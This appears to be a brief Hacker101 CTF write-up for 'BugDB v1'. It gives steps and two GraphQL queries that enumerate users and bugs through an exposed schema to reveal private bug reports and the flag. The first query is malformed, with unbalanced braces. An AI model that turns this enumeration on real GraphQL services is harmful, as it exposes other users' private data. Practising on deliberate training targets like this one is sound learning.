ctf

H101 - BugDB v1

Hacker101 CTF - BugDB v1

Kevin

Mar 22, 2020 • 1 min read

Skills: Web, GraphQL

Difficulty: Easy

Steps

open the docs to find the schema
open all the schemas as far as possible. AllUsers and AllBugs look interesting to query
query AllUsers
see users victim and admin and their given bugs
do query for everything in All Bugs as well
notice the private node
query findBug given the node value
After some trial and error (breaking down everyend point as far as possible) I ended up querying user
Flag found

query{
	allUsers{
    	pageInfo{
        	hasNextPage{
            hasPreviousPage{
        },
        edges{
        	node{
            	id,
                username
            }
        },
	}
}

Step 3

{
  allBugs {
    edges {
      node {
        id
        reporterId
        private
        reporter {
          id
        }
      }
    }
  }
  user {
    edges {
      node {
        id
        username
        bugs {
          edges {
            node {
              id
              reporterId
              private
              text
              reporter {
                id
              }
            }
          }
        }
      }
    }
  }
}

final query for flag